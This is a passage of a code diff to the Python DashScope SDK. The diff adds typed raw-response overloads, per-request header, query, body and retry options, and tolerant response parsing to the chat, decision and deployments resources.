Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( self, *, @@ -869,7 +1073,21 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, ChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, ChatStream, "APIResponse"]: + """Run one chat completion. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ built = _build_request( self._client, multimodal=False, @@ -911,6 +1129,13 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) @@ -949,6 +1174,11 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> AsyncChatStream: ... @@ -983,9 +1213,53 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + async def create( + self, + *, + model: str, + messages: Union[str, List[MessageInput]], + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( self, *, @@ -1016,7 +1290,21 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, AsyncChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: + """Run one chat completion. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ # The upload path is blocking (file post + getPolicy), so the whole # request build runs in a worker thread -- over a transport bridged # back to this loop, which is what lets it serve the policy fetch. @@ -1062,4 +1350,11 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) diff --git a/dashscope/resources/decision.py b/dashscope/resources/decision.py index 9a444d64..e40fa254 100644 --- a/dashscope/resources/decision.py +++ b/dashscope/resources/decision.py @@ -20,14 +20,31 @@ from __future__ import annotations -from typing import Any, Dict, List, Literal, Optional, Union +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import BaseModel, ConfigDict, Field from dashscope._config import Config, compatible_mode_base_url from dashscope.errors import response_error, response_json +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, Usage, with_headers +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _PATH = "/systemone" # Functional-area tag for x-dashscope-sdk-client. The decision model is # new in v2 (no 1.x API), so "decision" extends the 1.x vocabulary and @@ -137,11 +154,21 @@ class DecisionResponse(ResponseBase): latency_ms: Optional[float] = None -def _parse(body: Dict[str, Any]) -> DecisionResponse: +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DecisionResponse: payload = dict(body) if isinstance(body, dict) else {} # Tolerate a success body that omits the answers table. payload["answers"] = payload.get("answers") or {} - return DecisionResponse(**payload) + return parse_model( + DecisionResponse, + payload, + strict=strict, + response=response, + ) def _dump_question(question: QuestionInput) -> Dict[str, Any]: @@ -193,9 +220,18 @@ def _checked_response(client, response) -> DecisionResponse: """ error = response_error(response) if error is None: - return with_headers(_parse(response_json(response)), response) + return with_headers( + _parse( + response_json(response), + strict=client.config.strict_validation, + response=response, + ), + response, + ) if client.raise_on_error: raise error + # Built from the already-typed error object, not from a wire body, so + # there is nothing for parse_model to be fault-tolerant about. return with_headers( DecisionResponse( request_id=error.request_id, @@ -214,6 +250,7 @@ class Decision: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -223,7 +260,47 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DecisionResponse: + ... + + @overload + def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DecisionResponse, "APIResponse"]: """Run one decision round. Usage:: @@ -242,9 +319,15 @@ def create( }, ) print(resp.answers["department"].choice) + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also bypasses + ``_checked_response``, which is what turns this endpoint's nested + ``error`` envelope into ``is_error`` / ``code`` / ``message``. """ body = _build_body(model=model, state=state, questions=questions) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -253,8 +336,17 @@ def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return _checked_response(self._client, response) + if raw: + return resp + return _checked_response(self._client, resp.http_response) class AsyncDecision: @@ -263,6 +355,7 @@ class AsyncDecision: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -272,9 +365,50 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DecisionResponse: + ... + + @overload + async def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + state: StateInput, + questions: Dict[str, QuestionInput], + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DecisionResponse, "APIResponse"]: + """Async twin of :meth:`Decision.create`.""" body = _build_body(model=model, state=state, questions=questions) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -283,5 +417,14 @@ async def create( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return _checked_response(self._client, response) + if raw: + return resp + return _checked_response(self._client, resp.http_response) diff --git a/dashscope/resources/deployments.py b/dashscope/resources/deployments.py index 0c45bafd..de332837 100644 --- a/dashscope/resources/deployments.py +++ b/dashscope/resources/deployments.py @@ -11,18 +11,21 @@ from __future__ import annotations from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import AliasChoices, BaseModel, ConfigDict, Field -from dashscope.errors import check_response, response_json from dashscope.resources._sse import ( _aiter_sse, _iter_sse, @@ -30,6 +33,8 @@ _stream_error, _try_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -38,6 +43,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _BASE_PATH = "/deployments" # 1.x tags this API "finetune" (Deployments lives in dashscope.finetune). @@ -101,19 +111,80 @@ class DeploymentEvent(BaseModel): is_error: bool = False -def _parse(body: Dict[str, Any]) -> Deployment: - return Deployment(**flatten_envelope(body)) +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> Deployment: + return parse_model( + Deployment, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> DeploymentList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DeploymentList: data = flatten_envelope(body) - deployments = data.get("deployments") or [] - return DeploymentList( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total_count=data.get("total", len(deployments)), - deployments=deployments, - **response_envelope(data), + deployments = data.get("deployments") + if not isinstance(deployments, list): + # A retyped ``deployments`` would poison the ``len()`` below (a + # string's length is not a page total). Empty is the honest + # reading of "not a list", matching ``models._parse_list``. + deployments = [] + return parse_model( + DeploymentList, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total_count": data.get("total", len(deployments)), + "deployments": deployments, + **response_envelope(data), + }, + strict=strict, + response=response, + ) + + +def _parse_status( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobStatus: + return parse_model( + JobStatus, + flatten_envelope(body), + strict=strict, + response=response, + ) + + +def _parse_event( + data: Any, + *, + is_error: bool = False, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> DeploymentEvent: + """One SSE frame, degrading rather than breaking the iteration. + + A drifted frame used to raise a bare ``ValidationError`` partway + through the generator -- earlier frames were already consumed and + ``except DashScopeError`` could not catch it. ``response`` is the + stream itself, which is the only response a frame belongs to. + """ + return parse_model( + DeploymentEvent, + {"output": _try_json(data), "is_error": is_error}, + strict=strict, + response=response, ) @@ -150,6 +221,7 @@ class Deployments: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -164,7 +236,63 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: + ... + + @overload + def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Create a deployment of ``model`` with ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, capacity, @@ -175,7 +303,7 @@ def create( deploy_spec, billing_method, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -183,10 +311,27 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def get( self, deployed_model: str, @@ -194,18 +339,77 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = self._client.transport.request( + ... + + @overload + def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Fetch one deployment by ``deployed_model`` id. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def list( self, *, @@ -214,8 +418,52 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeploymentList: - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeploymentList, "APIResponse"]: + """List deployments, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -223,10 +471,27 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload def scale( self, deployed_model: str, @@ -235,8 +500,52 @@ def scale( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = self._client.transport.request( + ... + + @overload + def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Resize a deployment to ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "PUT", f"{_BASE_PATH}/{deployed_model}/scale", json={"deployed_model": deployed_model, "capacity": capacity}, @@ -244,10 +553,27 @@ def scale( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def delete( self, deployed_model: str, @@ -255,19 +581,74 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a deployment; the job status reports the teardown. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - JobStatus(**flatten_envelope(response_json(response))), - response, + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) def stream_events( @@ -277,6 +658,10 @@ def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Iterator[DeploymentEvent]: response = self._client.transport.open_stream( "GET", @@ -285,6 +670,12 @@ def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: for is_error, status_code, data in _iter_sse(response): @@ -296,12 +687,18 @@ def stream_events( response.headers, ) _log_stream_error(data, response.headers) - yield DeploymentEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield DeploymentEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: response.close() @@ -310,6 +707,7 @@ class AsyncDeployments: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -324,7 +722,63 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: + ... + + @overload + async def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Create a deployment of ``model`` with ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, capacity, @@ -335,7 +789,7 @@ async def create( deploy_spec, billing_method, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -343,10 +797,27 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def get( self, deployed_model: str, @@ -354,18 +825,77 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = await self._client.transport.request( + ... + + @overload + async def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Fetch one deployment by ``deployed_model`` id. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def list( self, *, @@ -374,8 +904,52 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeploymentList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeploymentList, "APIResponse"]: + """List deployments, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -383,10 +957,27 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload async def scale( self, deployed_model: str, @@ -395,8 +986,52 @@ async def scale( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: 